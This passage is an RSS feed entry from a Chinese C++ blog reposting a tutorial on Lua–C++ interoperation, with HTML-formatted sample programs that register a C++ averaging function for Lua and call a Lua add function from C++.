﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-兔子的技术博客-随笔分类-非C++技术资料</title><link>http://www.cppblog.com/flyinghare/category/12178.html</link><description>兔子</description><language>zh-cn</language><lastBuildDate>Thu, 18 Apr 2013 10:01:28 GMT</lastBuildDate><pubDate>Thu, 18 Apr 2013 10:01:28 GMT</pubDate><ttl>60</ttl><item><title>lua与c++的相互调用</title><link>http://www.cppblog.com/flyinghare/archive/2013/04/17/199513.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Wed, 17 Apr 2013 08:53:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2013/04/17/199513.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/199513.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2013/04/17/199513.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/199513.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/199513.html</trackback:ping><description><![CDATA[<p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"><strong>一.&nbsp;&nbsp; lua调用C++</strong></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"><strong><span style="font-weight: normal;">&nbsp;&nbsp; &nbsp; &nbsp;在lua中是以函数指针的形式调用函数, 并且所有的函数指针都必须满足如下此种类型:<br /><span style="white-space: pre;">		</span>typedef int (*lua_CFunction) (lua_State *L);　　<br />也就是说, 偶们在C++中定义函数时必须以lua_State为参数, 以int为返回值才能被Lua所调用. 但是不要忘记了, 偶们的lua_State是支持栈的, 所以通过栈可以传递无穷个参数, 大小只受内存大小限制. 而返回的int值也只是指返回值的个数真正的返回值都存储在</span></strong>lua_State的栈中. 偶们通常的做法是做一个wrapper, 把所有需要调用的函数都wrap一下, 这样就可以调用任意的函数了.</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"><span style="font-family: monospace; font-size: small;"></span></p><div bg_cpp"="" style="width: 687.046875px;"><div><div><strong>[cpp]</strong> <a href="http://blog.csdn.net/sndaxdrs/article/details/6230999#" title="view plain" style="background-image: url(http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/images/default/ico_plain.gif); padding: 1px; display: inline-block; width: 16px; height: 16px; text-indent: -2000px; background-position: 0% 0%; background-repeat: no-repeat no-repeat;">view plain</a><a href="http://blog.csdn.net/sndaxdrs/article/details/6230999#" title="copy" style="background-image: url(http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/images/default/ico_copy.gif); padding: 1px; display: inline-block; width: 16px; height: 16px; text-indent: -2000px; background-position: 0% 0%; background-repeat: no-repeat no-repeat;">copy</a><div style="position: absolute; left: 478px; top: 611px; width: 18px; height: 18px; z-index: 99;"></div></div></div><ol start="1"><li style="line-height: 18px;">#include&lt;iostream&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">using&nbsp;namespace&nbsp;std;&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&lt;stdio.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">extern&nbsp;"C"&nbsp;{&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;lua.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;lualib.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;lauxlib.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;">//#pragma&nbsp;comment(lib,&nbsp;"lua5.1.lib")&nbsp;&nbsp;</li><li style="line-height: 18px;">lua_State*&nbsp;L;&nbsp;&nbsp;</li><li style="line-height: 18px;">static&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;average(lua_State&nbsp;*L)&nbsp;&nbsp;</li><li style="line-height: 18px;">{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;//返回栈中元素的个数&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;n&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">double</span>&nbsp;sum&nbsp;=&nbsp;0;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;i;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;1;&nbsp;i&nbsp;&lt;=&nbsp;n;&nbsp;i++)&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!lua_isnumber(L,&nbsp;i))&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lua_pushstring(L,&nbsp;"Incorrect&nbsp;argument&nbsp;to&nbsp;'average'");&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lua_error(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum&nbsp;+=&nbsp;lua_tonumber(L,&nbsp;i);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;push&nbsp;the&nbsp;average&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pushnumber(L,&nbsp;sum&nbsp;/&nbsp;n);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;push&nbsp;the&nbsp;sum&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pushnumber(L,&nbsp;sum);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;return&nbsp;the&nbsp;number&nbsp;of&nbsp;results&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;2;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;"><span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;main&nbsp;(<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;argc,<span style="color: #2e8b57; font-weight: bold;">char</span>*argv[])&nbsp;&nbsp;</li><li style="line-height: 18px;">{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;initialize&nbsp;Lua&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;L&nbsp;=&nbsp;lua_open();&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;load&nbsp;Lua&nbsp;libraries&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;luaL_openlibs(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;register&nbsp;our&nbsp;function&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_register(L,&nbsp;"average",&nbsp;average);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;run&nbsp;the&nbsp;script&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;luaL_dofile(L,&nbsp;"e15.lua");&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_getglobal(L,"avg");&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;cout&lt;&lt;"avg&nbsp;is:"&lt;&lt;lua_tointeger(L,-1)&lt;&lt;endl;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pop(L,1);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_getglobal(L,"sum");&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;cout&lt;&lt;"sum&nbsp;is:"&lt;&lt;lua_tointeger(L,-1)&lt;&lt;endl;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;cleanup&nbsp;Lua&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_close(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;">//程序&nbsp;&nbsp;</li><li style="line-height: 18px;">//*lua_gettop()的作用是返回栈顶元素的序号.&nbsp;由于Lua的栈是从1开始编号的,&nbsp;&nbsp;</li><li style="line-height: 18px;">//&nbsp;所以栈顶元素的序号也相当于栈中的元素个数.&nbsp;在这里,&nbsp;栈中元素的个数就&nbsp;&nbsp;</li><li style="line-height: 18px;">//&nbsp;是传入的参数个数.&nbsp;&nbsp;</li><li style="line-height: 18px;">//*&nbsp;for循环计算所有传入参数的总和.&nbsp;这里用到了数值转换lua_tonumber().&nbsp;&nbsp;</li><li style="line-height: 18px;">//*&nbsp;然后偶们用lua_pushnumber()把平均值和总和push到栈中.&nbsp;&nbsp;</li><li style="line-height: 18px;">//*&nbsp;最后,&nbsp;偶们返回2,&nbsp;表示有两个返回值.&nbsp;&nbsp;</li><li style="line-height: 18px;">//*&nbsp;虽然在C++中定义了average()函数,&nbsp;但Lua程序并不知道,&nbsp;所以需&nbsp;&nbsp;</li><li style="line-height: 18px;">//&nbsp;&nbsp;要在main函数中加入&nbsp;&nbsp;</li><li style="line-height: 18px;">//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;register&nbsp;our&nbsp;function&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">//&nbsp;&nbsp;lua_register(L,&nbsp;"average",&nbsp;average);&nbsp;&nbsp;</li><li style="line-height: 18px;">//　　这两行的作用就是告诉e15.lua有average()这样一个函数.&nbsp;&nbsp;</li><li style="line-height: 18px;">//*&nbsp;这个程序可以存成cpp也可以存成c,&nbsp;如果以.c为扩展名就不需要加extern&nbsp;"C"&nbsp;&nbsp;</li><li style="line-height: 18px;">//&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;</li><li style="line-height: 18px;">//编译的方法偶们上次说过了,&nbsp;方法相同.&nbsp;&nbsp;</li><li style="line-height: 18px;">//e15.lua执行的方法只能用上例中的C++中执行,&nbsp;而不能用命令行方式执行.*/&nbsp;&nbsp;</li></ol></div> <p>&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"><span style="font-family: monospace; font-size: small;"><span style="white-space: pre-wrap;"> </span></span></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">脚本为</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">avg, sum = average(10, 20, 30, 40, 50)</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">print("The average is ", avg)</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">print("The sum is ", sum)</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"><span style="font-family: monospace; font-size: small;"><span style="white-space: pre-wrap;"> </span></span></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"><strong>二.&nbsp; C++调用lua</strong></p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"></p><div bg_cpp"="" style="width: 687.046875px;"><div><div><strong>[cpp]</strong>&nbsp;<a href="http://blog.csdn.net/sndaxdrs/article/details/6230999#" title="view plain" style="background-image: url(http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/images/default/ico_plain.gif); padding: 1px; display: inline-block; width: 16px; height: 16px; text-indent: -2000px; background-position: 0% 0%; background-repeat: no-repeat no-repeat;">view plain</a><a href="http://blog.csdn.net/sndaxdrs/article/details/6230999#" title="copy" style="background-image: url(http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/images/default/ico_copy.gif); padding: 1px; display: inline-block; width: 16px; height: 16px; text-indent: -2000px; background-position: 0% 0%; background-repeat: no-repeat no-repeat;">copy</a><div style="position: absolute; left: 478px; top: 2406px; width: 18px; height: 18px; z-index: 99;"></div></div></div><ol start="1"><li style="line-height: 18px;">#include&nbsp;"stdafx.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;stdio.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">extern&nbsp;"C"&nbsp;{&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;"lua.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;"lualib.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;"lauxlib.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;">/*&nbsp;Lua解释器指针&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">lua_State*&nbsp;L;&nbsp;&nbsp;</li><li style="line-height: 18px;"><span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;main&nbsp;(&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;argc,&nbsp;<span style="color: #2e8b57; font-weight: bold;">char</span>&nbsp;*argv[]&nbsp;)&nbsp;&nbsp;</li><li style="line-height: 18px;">{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;初始化Lua&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;L&nbsp;=&nbsp;lua_open();&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;载入Lua基本库&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;luaL_openlibs(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;运行脚本&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;luaL_dofile(L,&nbsp;"Lua1.lua");&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;清除Lua&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_close(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;暂停&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;"Press&nbsp;enter&nbsp;to&nbsp;exit&#8230;"&nbsp;);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;getchar();&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li></ol></div><p>&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;"></p><div bg_cpp"="" style="width: 687.046875px;"><div><div><strong>[cpp]</strong>&nbsp;<a href="http://blog.csdn.net/sndaxdrs/article/details/6230999#" title="view plain" style="background-image: url(http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/images/default/ico_plain.gif); padding: 1px; display: inline-block; width: 16px; height: 16px; text-indent: -2000px; background-position: 0% 0%; background-repeat: no-repeat no-repeat;">view plain</a><a href="http://blog.csdn.net/sndaxdrs/article/details/6230999#" title="copy" style="background-image: url(http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/images/default/ico_copy.gif); padding: 1px; display: inline-block; width: 16px; height: 16px; text-indent: -2000px; background-position: 0% 0%; background-repeat: no-repeat no-repeat;">copy</a><div style="position: absolute; left: 478px; top: 2973px; width: 18px; height: 18px; z-index: 99;"></div></div></div><ol start="1"><li style="line-height: 18px;">/*&nbsp;A&nbsp;simple&nbsp;Lua&nbsp;interpreter.&nbsp;*/&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;stdio.h&gt;&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">extern&nbsp;"C"&nbsp;{&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;lua.h&gt;&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;lualib.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;lauxlib.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;&lt;stdio.h&gt;&nbsp;&nbsp;</li><li style="line-height: 18px;">extern&nbsp;"C"&nbsp;{&nbsp;//&nbsp;这是个C++程序,&nbsp;所以要extern&nbsp;"C",&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;因为lua的头文件都是C格式的&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;"lua.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;"lualib.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">#include&nbsp;"lauxlib.h"&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;">#pragma&nbsp;comment(lib,&nbsp;"lua5.1.lib")&nbsp;&nbsp;</li><li style="line-height: 18px;">/*&nbsp;the&nbsp;Lua&nbsp;interpreter&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">lua_State*&nbsp;L;&nbsp;&nbsp;</li><li style="line-height: 18px;"><span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;luaadd&nbsp;(&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;x,&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;y&nbsp;)&nbsp;&nbsp;</li><li style="line-height: 18px;">{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;sum;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;the&nbsp;function&nbsp;name&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_getglobal(L,&nbsp;"add");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;//得到栈的元素个数。栈顶的位置。&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;the&nbsp;first&nbsp;argument&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pushnumber(L,&nbsp;x);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;the&nbsp;second&nbsp;argument&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pushnumber(L,&nbsp;y);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;call&nbsp;the&nbsp;function&nbsp;with&nbsp;2&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;arguments,&nbsp;return&nbsp;1&nbsp;result&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_call(L,&nbsp;2,&nbsp;1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;get&nbsp;the&nbsp;result&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;sum&nbsp;=&nbsp;(<span style="color: #2e8b57; font-weight: bold;">int</span>)lua_tonumber(L,&nbsp;-1);&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*清掉返回值*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pop(L,&nbsp;1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*取出脚本中的变量z的值*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_getglobal(L,&nbsp;"z");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;z&nbsp;=&nbsp;(<span style="color: #2e8b57; font-weight: bold;">int</span>)lua_tonumber(L,&nbsp;1);nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_pop(L,&nbsp;1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;//没调通&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*lua_pushnumber(L,&nbsp;4);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_setglobal(L,&nbsp;"r");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nTop&nbsp;=&nbsp;lua_gettop(L);&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;r&nbsp;=&nbsp;(int)lua_tonumber(L,&nbsp;1);nTop&nbsp;=&nbsp;lua_gettop(L);*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;sum;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;"><span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;main&nbsp;(&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;argc,&nbsp;<span style="color: #2e8b57; font-weight: bold;">char</span>&nbsp;*argv[]&nbsp;)&nbsp;&nbsp;</li><li style="line-height: 18px;">{&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #2e8b57; font-weight: bold;">int</span>&nbsp;sum;&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;initialize&nbsp;Lua&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;L&nbsp;=&nbsp;lua_open();&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;load&nbsp;Lua&nbsp;base&nbsp;libraries&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;//lua_baselibopen(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;load&nbsp;the&nbsp;script&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;luaL_dofile(L,&nbsp;"e12.lua");&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;call&nbsp;the&nbsp;add&nbsp;function&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;sum&nbsp;=&nbsp;luaadd(&nbsp;10,&nbsp;15&nbsp;);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;print&nbsp;the&nbsp;result&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;"The&nbsp;sum&nbsp;is&nbsp;%d",&nbsp;sum&nbsp;);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;cleanup&nbsp;Lua&nbsp;*/&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;lua_close(L);&nbsp;&nbsp;</li><li style="line-height: 18px;">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;&nbsp;&nbsp;</li><li style="line-height: 18px;">}&nbsp;&nbsp;</li><li style="line-height: 18px;">/*程序说明:&nbsp;</li><li style="line-height: 18px;">main中过程偶们上次已经说过了,&nbsp;所以这次只说说luaadd的过程&nbsp;</li><li style="line-height: 18px;">*&nbsp;首先用lua_getglobal()把add函数压栈&nbsp;</li><li style="line-height: 